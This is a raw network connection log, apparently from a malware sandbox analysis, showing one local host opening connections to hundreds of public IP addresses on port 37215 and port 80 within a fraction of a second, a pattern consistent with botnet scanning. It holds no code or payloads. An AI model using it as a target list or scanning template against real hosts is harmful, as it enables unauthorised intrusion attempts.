Feb 4, 2025 18:17:34.388130903 CET	35556	37215	192.168.2.23	156.200.62.230
Feb 4, 2025 18:17:34.388119936 CET	35556	37215	192.168.2.23	197.104.114.83
Feb 4, 2025 18:17:34.388120890 CET	35556	37215	192.168.2.23	156.37.42.89
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.240.94.168
Feb 4, 2025 18:17:34.388120890 CET	35556	37215	192.168.2.23	197.121.49.241
Feb 4, 2025 18:17:34.388119936 CET	35556	37215	192.168.2.23	156.23.94.53
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	41.31.188.106
Feb 4, 2025 18:17:34.388130903 CET	35556	37215	192.168.2.23	41.17.142.138
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.238.146.205
Feb 4, 2025 18:17:34.388120890 CET	35556	37215	192.168.2.23	156.54.114.229
Feb 4, 2025 18:17:34.388130903 CET	35556	37215	192.168.2.23	41.43.32.116
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	156.182.98.248
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.39.219.86
Feb 4, 2025 18:17:34.388120890 CET	35556	37215	192.168.2.23	41.254.52.85
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	197.243.201.110
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	156.211.153.213
Feb 4, 2025 18:17:34.388150930 CET	35556	37215	192.168.2.23	156.193.192.114
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	41.52.142.120
Feb 4, 2025 18:17:34.388150930 CET	35556	37215	192.168.2.23	197.182.78.188
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	41.224.255.189
Feb 4, 2025 18:17:34.388154030 CET	35556	37215	192.168.2.23	156.111.235.3
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	41.78.32.48
Feb 4, 2025 18:17:34.388154030 CET	35556	37215	192.168.2.23	197.181.226.185
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	41.72.216.155
Feb 4, 2025 18:17:34.388154030 CET	35556	37215	192.168.2.23	156.94.175.46
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	197.116.204.168
Feb 4, 2025 18:17:34.388138056 CET	35556	37215	192.168.2.23	197.253.192.183
Feb 4, 2025 18:17:34.388155937 CET	35556	37215	192.168.2.23	197.69.11.133
Feb 4, 2025 18:17:34.388155937 CET	35556	37215	192.168.2.23	156.215.152.220
Feb 4, 2025 18:17:34.388155937 CET	35556	37215	192.168.2.23	41.146.203.84
Feb 4, 2025 18:17:34.388155937 CET	35556	37215	192.168.2.23	197.61.53.185
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	197.24.106.20
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	156.187.106.153
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	41.202.77.132
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	156.145.137.187
Feb 4, 2025 18:17:34.388163090 CET	35556	37215	192.168.2.23	41.46.127.227
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	41.147.135.232
Feb 4, 2025 18:17:34.388163090 CET	35556	37215	192.168.2.23	156.114.179.153
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	41.143.24.133
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	156.65.76.31
Feb 4, 2025 18:17:34.388163090 CET	35556	37215	192.168.2.23	41.144.89.24
Feb 4, 2025 18:17:34.388164997 CET	35556	37215	192.168.2.23	156.240.64.238
Feb 4, 2025 18:17:34.388163090 CET	35556	37215	192.168.2.23	197.205.51.5
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	197.203.126.144
Feb 4, 2025 18:17:34.388164997 CET	35556	37215	192.168.2.23	41.115.37.77
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	197.124.87.204
Feb 4, 2025 18:17:34.388163090 CET	35556	37215	192.168.2.23	41.101.177.33
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	41.67.41.2
Feb 4, 2025 18:17:34.388169050 CET	35556	37215	192.168.2.23	197.193.18.151
Feb 4, 2025 18:17:34.388161898 CET	35556	37215	192.168.2.23	197.71.77.73
Feb 4, 2025 18:17:34.388169050 CET	35556	37215	192.168.2.23	156.180.13.75
Feb 4, 2025 18:17:34.388179064 CET	35556	37215	192.168.2.23	197.232.250.148
Feb 4, 2025 18:17:34.388181925 CET	35556	37215	192.168.2.23	197.2.227.202
Feb 4, 2025 18:17:34.388181925 CET	35556	37215	192.168.2.23	156.229.26.72
Feb 4, 2025 18:17:34.388183117 CET	35556	37215	192.168.2.23	197.14.22.146
Feb 4, 2025 18:17:34.388197899 CET	35556	37215	192.168.2.23	156.37.163.185
Feb 4, 2025 18:17:34.388200998 CET	35556	37215	192.168.2.23	41.106.85.53
Feb 4, 2025 18:17:34.388205051 CET	35556	37215	192.168.2.23	41.175.80.204
Feb 4, 2025 18:17:34.388324976 CET	38700	37215	192.168.2.23	156.202.209.203
Feb 4, 2025 18:17:34.389740944 CET	46308	80	192.168.2.23	191.162.125.39
Feb 4, 2025 18:17:34.389754057 CET	46308	80	192.168.2.23	170.103.58.144
Feb 4, 2025 18:17:34.389792919 CET	46308	80	192.168.2.23	64.126.46.105
Feb 4, 2025 18:17:34.389805079 CET	46308	80	192.168.2.23	199.69.215.58
Feb 4, 2025 18:17:34.389811039 CET	46308	80	192.168.2.23	131.55.126.183
Feb 4, 2025 18:17:34.389811993 CET	46308	80	192.168.2.23	194.50.71.255
Feb 4, 2025 18:17:34.389822006 CET	46308	80	192.168.2.23	37.119.252.212
Feb 4, 2025 18:17:34.389830112 CET	46308	80	192.168.2.23	217.106.219.55
Feb 4, 2025 18:17:34.389869928 CET	46308	80	192.168.2.23	91.3.237.24
Feb 4, 2025 18:17:34.389873028 CET	46308	80	192.168.2.23	88.203.253.166
Feb 4, 2025 18:17:34.389874935 CET	46308	80	192.168.2.23	77.171.36.22
Feb 4, 2025 18:17:34.389880896 CET	46308	80	192.168.2.23	196.221.99.243
Feb 4, 2025 18:17:34.389890909 CET	46308	80	192.168.2.23	86.144.68.146
Feb 4, 2025 18:17:34.389894962 CET	46308	80	192.168.2.23	153.206.159.225
Feb 4, 2025 18:17:34.389894962 CET	46308	80	192.168.2.23	126.120.107.238
Feb 4, 2025 18:17:34.389894962 CET	46308	80	192.168.2.23	202.212.40.76
Feb 4, 2025 18:17:34.389895916 CET	46308	80	192.168.2.23	143.10.19.26
Feb 4, 2025 18:17:34.389894962 CET	46308	80	192.168.2.23	186.79.226.51
Feb 4, 2025 18:17:34.389897108 CET	46308	80	192.168.2.23	88.122.33.160
Feb 4, 2025 18:17:34.389894962 CET	46308	80	192.168.2.23	1.205.208.47
Feb 4, 2025 18:17:34.389897108 CET	46308	80	192.168.2.23	31.11.44.135
Feb 4, 2025 18:17:34.389904976 CET	46308	80	192.168.2.23	60.199.202.48
Feb 4, 2025 18:17:34.389910936 CET	46308	80	192.168.2.23	106.54.219.195
Feb 4, 2025 18:17:34.389910936 CET	46308	80	192.168.2.23	20.5.118.24
Feb 4, 2025 18:17:34.389911890 CET	46308	80	192.168.2.23	92.240.29.169
Feb 4, 2025 18:17:34.389910936 CET	46308	80	192.168.2.23	211.144.94.152
Feb 4, 2025 18:17:34.389911890 CET	46308	80	192.168.2.23	204.20.118.245
Feb 4, 2025 18:17:34.389910936 CET	46308	80	192.168.2.23	63.151.239.142
Feb 4, 2025 18:17:34.389911890 CET	46308	80	192.168.2.23	72.210.207.65
Feb 4, 2025 18:17:34.389916897 CET	46308	80	192.168.2.23	180.106.203.60
Feb 4, 2025 18:17:34.389916897 CET	46308	80	192.168.2.23	145.179.70.4
Feb 4, 2025 18:17:34.389921904 CET	46308	80	192.168.2.23	88.122.62.218
Feb 4, 2025 18:17:34.389923096 CET	46308	80	192.168.2.23	144.135.60.21
Feb 4, 2025 18:17:34.389925957 CET	46308	80	192.168.2.23	71.144.61.225
Feb 4, 2025 18:17:34.389925957 CET	46308	80	192.168.2.23	212.142.28.151
Feb 4, 2025 18:17:34.389934063 CET	46308	80	192.168.2.23	64.128.129.101
Feb 4, 2025 18:17:34.389935017 CET	46308	80	192.168.2.23	197.83.115.78
Feb 4, 2025 18:17:34.389935970 CET	46308	80	192.168.2.23	122.29.117.249
Feb 4, 2025 18:17:34.389939070 CET	46308	80	192.168.2.23	65.8.205.32
Feb 4, 2025 18:17:34.389977932 CET	46308	80	192.168.2.23	139.108.222.41
Feb 4, 2025 18:17:34.389977932 CET	46308	80	192.168.2.23	82.104.115.15
Feb 4, 2025 18:17:34.389977932 CET	46308	80	192.168.2.23	192.56.119.123
Feb 4, 2025 18:17:34.389985085 CET	46308	80	192.168.2.23	175.101.96.133
Feb 4, 2025 18:17:34.390000105 CET	46308	80	192.168.2.23	188.206.239.25
Feb 4, 2025 18:17:34.390000105 CET	46308	80	192.168.2.23	178.216.62.195
Feb 4, 2025 18:17:34.390002012 CET	46308	80	192.168.2.23	58.57.224.222
Feb 4, 2025 18:17:34.390002012 CET	46308	80	192.168.2.23	46.127.25.163
Feb 4, 2025 18:17:34.390002966 CET	46308	80	192.168.2.23	104.15.102.200
Feb 4, 2025 18:17:34.390002966 CET	46308	80	192.168.2.23	176.235.96.80
Feb 4, 2025 18:17:34.390002966 CET	46308	80	192.168.2.23	148.222.164.57
Feb 4, 2025 18:17:34.390003920 CET	46308	80	192.168.2.23	120.144.9.165
Feb 4, 2025 18:17:34.390005112 CET	46308	80	192.168.2.23	14.39.25.165
Feb 4, 2025 18:17:34.390005112 CET	46308	80	192.168.2.23	156.184.24.61
Feb 4, 2025 18:17:34.390021086 CET	46308	80	192.168.2.23	17.216.2.154
Feb 4, 2025 18:17:34.390023947 CET	46308	80	192.168.2.23	208.135.106.146
Feb 4, 2025 18:17:34.390024900 CET	46308	80	192.168.2.23	143.160.101.6
Feb 4, 2025 18:17:34.390024900 CET	46308	80	192.168.2.23	120.224.138.42
Feb 4, 2025 18:17:34.390024900 CET	46308	80	192.168.2.23	131.68.49.165
Feb 4, 2025 18:17:34.390026093 CET	46308	80	192.168.2.23	131.89.35.214
Feb 4, 2025 18:17:34.390026093 CET	46308	80	192.168.2.23	92.101.92.8
Feb 4, 2025 18:17:34.390026093 CET	46308	80	192.168.2.23	160.82.107.31
Feb 4, 2025 18:17:34.390026093 CET	46308	80	192.168.2.23	35.235.75.208
Feb 4, 2025 18:17:34.390026093 CET	46308	80	192.168.2.23	45.32.131.96
Feb 4, 2025 18:17:34.390027046 CET	46308	80	192.168.2.23	172.157.151.227
Feb 4, 2025 18:17:34.390043020 CET	46308	80	192.168.2.23	142.2.11.236
Feb 4, 2025 18:17:34.390043974 CET	46308	80	192.168.2.23	132.28.75.132
Feb 4, 2025 18:17:34.390043974 CET	46308	80	192.168.2.23	200.35.17.189
Feb 4, 2025 18:17:34.390044928 CET	46308	80	192.168.2.23	116.8.216.26
Feb 4, 2025 18:17:34.390052080 CET	46308	80	192.168.2.23	51.79.157.0
Feb 4, 2025 18:17:34.390052080 CET	46308	80	192.168.2.23	210.217.60.59
Feb 4, 2025 18:17:34.390052080 CET	46308	80	192.168.2.23	23.49.193.113
Feb 4, 2025 18:17:34.390052080 CET	46308	80	192.168.2.23	115.10.199.68
Feb 4, 2025 18:17:34.390052080 CET	46308	80	192.168.2.23	124.145.248.178
Feb 4, 2025 18:17:34.390054941 CET	46308	80	192.168.2.23	58.79.235.166
Feb 4, 2025 18:17:34.390054941 CET	46308	80	192.168.2.23	137.9.190.146
Feb 4, 2025 18:17:34.390060902 CET	46308	80	192.168.2.23	217.233.173.227
Feb 4, 2025 18:17:34.390068054 CET	46308	80	192.168.2.23	41.40.79.129
Feb 4, 2025 18:17:34.390068054 CET	46308	80	192.168.2.23	217.3.43.156
Feb 4, 2025 18:17:34.390068054 CET	46308	80	192.168.2.23	96.157.118.191
Feb 4, 2025 18:17:34.390074015 CET	46308	80	192.168.2.23	194.90.163.168
Feb 4, 2025 18:17:34.390074968 CET	46308	80	192.168.2.23	45.242.158.57
Feb 4, 2025 18:17:34.390074015 CET	46308	80	192.168.2.23	207.163.197.71
Feb 4, 2025 18:17:34.390075922 CET	46308	80	192.168.2.23	151.108.66.11
Feb 4, 2025 18:17:34.390074015 CET	46308	80	192.168.2.23	193.121.71.214
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	106.160.119.227
Feb 4, 2025 18:17:34.390074015 CET	46308	80	192.168.2.23	138.211.61.167
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	60.157.230.189
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	167.25.195.181
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	154.206.165.114
Feb 4, 2025 18:17:34.390074968 CET	46308	80	192.168.2.23	198.194.130.32
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	207.93.5.136
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	200.193.53.194
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	76.87.35.73
Feb 4, 2025 18:17:34.390077114 CET	46308	80	192.168.2.23	119.193.219.198
Feb 4, 2025 18:17:34.390086889 CET	46308	80	192.168.2.23	216.178.14.49
Feb 4, 2025 18:17:34.390093088 CET	46308	80	192.168.2.23	140.51.194.230
Feb 4, 2025 18:17:34.390093088 CET	46308	80	192.168.2.23	216.78.93.12
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	193.196.117.187
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	211.168.120.79
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	117.164.54.130
Feb 4, 2025 18:17:34.390105009 CET	46308	80	192.168.2.23	174.181.183.0
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	167.94.166.118
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	2.87.20.91
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	92.32.20.193
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	149.150.48.121
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	1.18.9.196
Feb 4, 2025 18:17:34.390103102 CET	46308	80	192.168.2.23	109.57.107.181
Feb 4, 2025 18:17:34.390108109 CET	46308	80	192.168.2.23	85.176.190.191
Feb 4, 2025 18:17:34.390111923 CET	46308	80	192.168.2.23	83.111.45.186
Feb 4, 2025 18:17:34.390111923 CET	46308	80	192.168.2.23	183.248.190.228
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	78.120.143.193
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	53.122.193.52
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	108.67.93.109
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	97.171.141.174
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	78.244.81.79
Feb 4, 2025 18:17:34.390116930 CET	46308	80	192.168.2.23	213.97.75.130
Feb 4, 2025 18:17:34.390125990 CET	46308	80	192.168.2.23	147.236.208.71
Feb 4, 2025 18:17:34.390126944 CET	46308	80	192.168.2.23	60.220.244.63
Feb 4, 2025 18:17:34.390127897 CET	46308	80	192.168.2.23	93.230.190.109
Feb 4, 2025 18:17:34.390129089 CET	46308	80	192.168.2.23	155.154.209.188
Feb 4, 2025 18:17:34.390135050 CET	46308	80	192.168.2.23	193.18.84.11
Feb 4, 2025 18:17:34.390141010 CET	46308	80	192.168.2.23	190.72.152.145
Feb 4, 2025 18:17:34.390141010 CET	46308	80	192.168.2.23	126.247.54.105
Feb 4, 2025 18:17:34.390141010 CET	46308	80	192.168.2.23	122.100.23.71
Feb 4, 2025 18:17:34.390141010 CET	46308	80	192.168.2.23	209.78.159.162
Feb 4, 2025 18:17:34.390146017 CET	46308	80	192.168.2.23	51.238.130.152
Feb 4, 2025 18:17:34.390157938 CET	46308	80	192.168.2.23	42.221.71.247
Feb 4, 2025 18:17:34.390161037 CET	46308	80	192.168.2.23	51.32.157.147
Feb 4, 2025 18:17:34.390167952 CET	46308	80	192.168.2.23	44.175.127.113
Feb 4, 2025 18:17:34.390185118 CET	46308	80	192.168.2.23	134.13.115.3
Feb 4, 2025 18:17:34.390185118 CET	46308	80	192.168.2.23	218.193.212.100
Feb 4, 2025 18:17:34.390185118 CET	46308	80	192.168.2.23	103.225.178.127
Feb 4, 2025 18:17:34.390185118 CET	46308	80	192.168.2.23	157.192.200.96
Feb 4, 2025 18:17:34.390191078 CET	46308	80	192.168.2.23	213.191.253.145
Feb 4, 2025 18:17:34.390202045 CET	46308	80	192.168.2.23	82.8.29.149
Feb 4, 2025 18:17:34.390208960 CET	46308	80	192.168.2.23	162.28.19.35
Feb 4, 2025 18:17:34.390208960 CET	46308	80	192.168.2.23	190.19.139.21
Feb 4, 2025 18:17:34.390222073 CET	46308	80	192.168.2.23	171.90.48.252
Feb 4, 2025 18:17:34.390224934 CET	46308	80	192.168.2.23	112.243.114.97
Feb 4, 2025 18:17:34.390224934 CET	46308	80	192.168.2.23	161.147.172.17
Feb 4, 2025 18:17:34.390228033 CET	46308	80	192.168.2.23	186.181.166.40
Feb 4, 2025 18:17:34.390229940 CET	46308	80	192.168.2.23	52.185.111.176
Feb 4, 2025 18:17:34.390235901 CET	46308	80	192.168.2.23	173.217.69.60
Feb 4, 2025 18:17:34.390235901 CET	46308	80	192.168.2.23	24.73.163.238
Feb 4, 2025 18:17:34.390239954 CET	46308	80	192.168.2.23	75.169.207.191
Feb 4, 2025 18:17:34.390249968 CET	46308	80	192.168.2.23	159.39.76.5
Feb 4, 2025 18:17:34.390255928 CET	46308	80	192.168.2.23	32.139.116.186
Feb 4, 2025 18:17:34.390255928 CET	46308	80	192.168.2.23	176.225.51.198
Feb 4, 2025 18:17:34.390264034 CET	46308	80	192.168.2.23	134.153.246.227
Feb 4, 2025 18:17:34.390273094 CET	46308	80	192.168.2.23	19.247.193.71
Feb 4, 2025 18:17:34.390295029 CET	46308	80	192.168.2.23	101.42.234.132
Feb 4, 2025 18:17:34.390296936 CET	46308	80	192.168.2.23	160.81.239.59
Feb 4, 2025 18:17:34.390300035 CET	46308	80	192.168.2.23	73.147.40.28
Feb 4, 2025 18:17:34.390300035 CET	46308	80	192.168.2.23	209.85.223.194
Feb 4, 2025 18:17:34.390301943 CET	46308	80	192.168.2.23	138.202.83.21
Feb 4, 2025 18:17:34.390301943 CET	46308	80	192.168.2.23	130.57.207.82
Feb 4, 2025 18:17:34.390302896 CET	46308	80	192.168.2.23	177.4.33.163
Feb 4, 2025 18:17:34.390310049 CET	46308	80	192.168.2.23	60.60.19.30
Feb 4, 2025 18:17:34.390311956 CET	46308	80	192.168.2.23	174.148.136.142
Feb 4, 2025 18:17:34.390316010 CET	46308	80	192.168.2.23	35.238.219.117
Feb 4, 2025 18:17:34.390316010 CET	46308	80	192.168.2.23	117.237.174.181
Feb 4, 2025 18:17:34.390316010 CET	46308	80	192.168.2.23	188.162.208.42
Feb 4, 2025 18:17:34.390316010 CET	46308	80	192.168.2.23	168.54.232.71
Feb 4, 2025 18:17:34.390325069 CET	46308	80	192.168.2.23	75.123.137.170
Feb 4, 2025 18:17:34.390326023 CET	46308	80	192.168.2.23	181.251.249.52
Feb 4, 2025 18:17:34.390326977 CET	46308	80	192.168.2.23	70.212.75.238
Feb 4, 2025 18:17:34.390326023 CET	46308	80	192.168.2.23	40.197.26.242
Feb 4, 2025 18:17:34.390326977 CET	46308	80	192.168.2.23	184.200.73.197
Feb 4, 2025 18:17:34.390326977 CET	46308	80	192.168.2.23	138.53.230.240
Feb 4, 2025 18:17:34.390332937 CET	46308	80	192.168.2.23	190.201.192.192
Feb 4, 2025 18:17:34.390332937 CET	46308	80	192.168.2.23	176.37.255.39
Feb 4, 2025 18:17:34.390332937 CET	46308	80	192.168.2.23	204.67.221.156
Feb 4, 2025 18:17:34.390337944 CET	46308	80	192.168.2.23	40.197.204.123
Feb 4, 2025 18:17:34.390341043 CET	46308	80	192.168.2.23	114.186.227.205
Feb 4, 2025 18:17:34.390341043 CET	46308	80	192.168.2.23	91.239.3.155
Feb 4, 2025 18:17:34.390346050 CET	46308	80	192.168.2.23	41.38.152.136
Feb 4, 2025 18:17:34.390345097 CET	46308	80	192.168.2.23	105.186.63.27
Feb 4, 2025 18:17:34.390346050 CET	46308	80	192.168.2.23	168.53.42.129
Feb 4, 2025 18:17:34.390345097 CET	46308	80	192.168.2.23	96.75.32.86
Feb 4, 2025 18:17:34.390362024 CET	46308	80	192.168.2.23	188.152.135.58
Feb 4, 2025 18:17:34.390362978 CET	46308	80	192.168.2.23	185.130.25.23
Feb 4, 2025 18:17:34.390362978 CET	46308	80	192.168.2.23	185.13.136.248
Feb 4, 2025 18:17:34.390364885 CET	46308	80	192.168.2.23	47.180.254.73
Feb 4, 2025 18:17:34.390373945 CET	46308	80	192.168.2.23	70.120.99.223
Feb 4, 2025 18:17:34.390382051 CET	46308	80	192.168.2.23	99.34.193.190
Feb 4, 2025 18:17:34.390386105 CET	46308	80	192.168.2.23	104.223.175.0
Feb 4, 2025 18:17:34.390393019 CET	46308	80	192.168.2.23	41.113.164.186
Feb 4, 2025 18:17:34.390394926 CET	46308	80	192.168.2.23	82.195.166.81
Feb 4, 2025 18:17:34.390405893 CET	46308	80	192.168.2.23	4.23.100.10
Feb 4, 2025 18:17:34.390407085 CET	46308	80	192.168.2.23	112.48.58.178
Feb 4, 2025 18:17:34.390408039 CET	46308	80	192.168.2.23	164.83.253.34
Feb 4, 2025 18:17:34.390409946 CET	46308	80	192.168.2.23	148.170.228.42
Feb 4, 2025 18:17:34.390409946 CET	46308	80	192.168.2.23	123.201.226.50
Feb 4, 2025 18:17:34.390414953 CET	46308	80	192.168.2.23	42.28.29.114
Feb 4, 2025 18:17:34.390414953 CET	46308	80	192.168.2.23	37.227.132.139
Feb 4, 2025 18:17:34.390415907 CET	46308	80	192.168.2.23	217.91.25.9
Feb 4, 2025 18:17:34.390415907 CET	46308	80	192.168.2.23	118.147.43.62
Feb 4, 2025 18:17:34.390419006 CET	46308	80	192.168.2.23	123.242.152.138
Feb 4, 2025 18:17:34.390419006 CET	46308	80	192.168.2.23	169.30.174.196
Feb 4, 2025 18:17:34.390430927 CET	46308	80	192.168.2.23	116.25.174.143
Feb 4, 2025 18:17:34.390444040 CET	46308	80	192.168.2.23	42.186.7.75
Feb 4, 2025 18:17:34.390446901 CET	46308	80	192.168.2.23	144.211.143.222
Feb 4, 2025 18:17:34.390448093 CET	46308	80	192.168.2.23	108.2.172.125
Feb 4, 2025 18:17:34.390450001 CET	46308	80	192.168.2.23	138.119.132.161
Feb 4, 2025 18:17:34.390450001 CET	46308	80	192.168.2.23	206.209.146.201
Feb 4, 2025 18:17:34.390467882 CET	46308	80	192.168.2.23	202.81.19.216
Feb 4, 2025 18:17:34.390467882 CET	46308	80	192.168.2.23	12.81.30.195
Feb 4, 2025 18:17:34.390474081 CET	46308	80	192.168.2.23	9.215.101.63
Feb 4, 2025 18:17:34.390485048 CET	46308	80	192.168.2.23	75.147.16.161
Feb 4, 2025 18:17:34.390491962 CET	46308	80	192.168.2.23	31.121.133.123
Feb 4, 2025 18:17:34.390500069 CET	46308	80	192.168.2.23	199.133.194.138
Feb 4, 2025 18:17:34.390506029 CET	46308	80	192.168.2.23	138.142.140.173
Feb 4, 2025 18:17:34.390506029 CET	46308	80	192.168.2.23	75.253.45.7
Feb 4, 2025 18:17:34.390506983 CET	46308	80	192.168.2.23	200.182.29.127
Feb 4, 2025 18:17:34.390507936 CET	46308	80	192.168.2.23	154.210.154.200
Feb 4, 2025 18:17:34.390512943 CET	46308	80	192.168.2.23	152.161.133.182
Feb 4, 2025 18:17:34.390527964 CET	46308	80	192.168.2.23	170.240.127.24
Feb 4, 2025 18:17:34.390527964 CET	46308	80	192.168.2.23	187.180.242.179
Feb 4, 2025 18:17:34.390542984 CET	46308	80	192.168.2.23	73.143.2.150
Feb 4, 2025 18:17:34.390543938 CET	46308	80	192.168.2.23	152.254.178.155
Feb 4, 2025 18:17:34.390549898 CET	46308	80	192.168.2.23	12.221.191.57
Feb 4, 2025 18:17:34.390552998 CET	46308	80	192.168.2.23	96.168.9.62
Feb 4, 2025 18:17:34.390554905 CET	46308	80	192.168.2.23	200.191.236.97
Feb 4, 2025 18:17:34.390571117 CET	46308	80	192.168.2.23	97.49.104.29
Feb 4, 2025 18:17:34.390571117 CET	46308	80	192.168.2.23	156.76.34.118
Feb 4, 2025 18:17:34.390573978 CET	46308	80	192.168.2.23	106.41.1.54
Feb 4, 2025 18:17:34.390573978 CET	46308	80	192.168.2.23	90.34.127.128
Feb 4, 2025 18:17:34.390594006 CET	46308	80	192.168.2.23	24.94.237.71
Feb 4, 2025 18:17:34.390598059 CET	46308	80	192.168.2.23	71.142.217.156
Feb 4, 2025 18:17:34.390599012 CET	46308	80	192.168.2.23	32.53.69.154
Feb 4, 2025 18:17:34.390604973 CET	46308	80	192.168.2.23	81.121.67.2
Feb 4, 2025 18:17:34.390611887 CET	46308	80	192.168.2.23	150.174.205.164
Feb 4, 2025 18:17:34.390620947 CET	46308	80	192.168.2.23	14.118.243.92
Feb 4, 2025 18:17:34.390630007 CET	46308	80	192.168.2.23	59.154.80.57
Feb 4, 2025 18:17:34.390634060 CET	46308	80	192.168.2.23	69.39.207.173
Feb 4, 2025 18:17:34.390634060 CET	46308	80	192.168.2.23	135.16.33.177
Feb 4, 2025 18:17:34.390640974 CET	46308	80	192.168.2.23	41.92.63.225
Feb 4, 2025 18:17:34.390640974 CET	46308	80	192.168.2.23	91.111.218.102
Feb 4, 2025 18:17:34.390641928 CET	46308	80	192.168.2.23	8.220.28.4
Feb 4, 2025 18:17:34.390641928 CET	46308	80	192.168.2.23	126.110.76.160
Feb 4, 2025 18:17:34.390641928 CET	46308	80	192.168.2.23	213.169.233.214
Feb 4, 2025 18:17:34.390652895 CET	46308	80	192.168.2.23	144.203.15.177
Feb 4, 2025 18:17:34.390661001 CET	46308	80	192.168.2.23	181.30.119.5
Feb 4, 2025 18:17:34.390662909 CET	46308	80	192.168.2.23	44.139.6.62
Feb 4, 2025 18:17:34.390665054 CET	46308	80	192.168.2.23	129.63.215.9
Feb 4, 2025 18:17:34.390676022 CET	46308	80	192.168.2.23	201.66.205.145
Feb 4, 2025 18:17:34.390676022 CET	46308	80	192.168.2.23	27.165.162.213
Feb 4, 2025 18:17:34.390692949 CET	46308	80	192.168.2.23	53.193.109.114
Feb 4, 2025 18:17:34.390692949 CET	46308	80	192.168.2.23	187.87.30.26
Feb 4, 2025 18:17:34.390706062 CET	46308	80	192.168.2.23	153.107.51.152
Feb 4, 2025 18:17:34.390712023 CET	46308	80	192.168.2.23	100.142.174.108
Feb 4, 2025 18:17:34.390717030 CET	46308	80	192.168.2.23	86.2.167.198
Feb 4, 2025 18:17:34.390718937 CET	46308	80	192.168.2.23	160.233.78.29
Feb 4, 2025 18:17:34.390733004 CET	46308	80	192.168.2.23	20.135.38.10
Feb 4, 2025 18:17:34.390738964 CET	46308	80	192.168.2.23	145.79.113.173
Feb 4, 2025 18:17:34.390747070 CET	46308	80	192.168.2.23	92.241.15.136
Feb 4, 2025 18:17:34.390750885 CET	46308	80	192.168.2.23	148.10.238.17
Feb 4, 2025 18:17:34.390755892 CET	46308	80	192.168.2.23	4.165.238.96
Feb 4, 2025 18:17:34.390764952 CET	46308	80	192.168.2.23	179.235.187.3
Feb 4, 2025 18:17:34.390764952 CET	46308	80	192.168.2.23	194.113.13.18
Feb 4, 2025 18:17:34.390769005 CET	46308	80	192.168.2.23	139.201.140.171
Feb 4, 2025 18:17:34.390769005 CET	46308	80	192.168.2.23	181.140.203.36
Feb 4, 2025 18:17:34.390769005 CET	46308	80	192.168.2.23	20.92.32.44
Feb 4, 2025 18:17:34.390788078 CET	46308	80	192.168.2.23	9.53.60.130
Feb 4, 2025 18:17:34.390793085 CET	46308	80	192.168.2.23	166.245.255.37
Feb 4, 2025 18:17:34.390800953 CET	46308	80	192.168.2.23	119.109.75.233
Feb 4, 2025 18:17:34.390815020 CET	46308	80	192.168.2.23	38.201.252.106
Feb 4, 2025 18:17:34.390815020 CET	46308	80	192.168.2.23	207.130.175.217
Feb 4, 2025 18:17:34.390820026 CET	46308	80	192.168.2.23	222.242.235.159
Feb 4, 2025 18:17:34.390822887 CET	46308	80	192.168.2.23	110.144.213.75
Feb 4, 2025 18:17:34.390822887 CET	46308	80	192.168.2.23	202.67.113.96
Feb 4, 2025 18:17:34.390824080 CET	46308	80	192.168.2.23	42.18.22.182
Feb 4, 2025 18:17:34.390825033 CET	46308	80	192.168.2.23	131.203.209.92
Feb 4, 2025 18:17:34.390829086 CET	46308	80	192.168.2.23	196.159.61.244
Feb 4, 2025 18:17:34.390829086 CET	46308	80	192.168.2.23	194.251.255.209
Feb 4, 2025 18:17:34.390835047 CET	46308	80	192.168.2.23	27.43.109.72
Feb 4, 2025 18:17:34.390836954 CET	46308	80	192.168.2.23	69.219.233.164
Feb 4, 2025 18:17:34.390840054 CET	46308	80	192.168.2.23	13.162.110.15
Feb 4, 2025 18:17:34.390842915 CET	46308	80	192.168.2.23	9.10.174.101
Feb 4, 2025 18:17:34.390851974 CET	46308	80	192.168.2.23	77.152.9.35
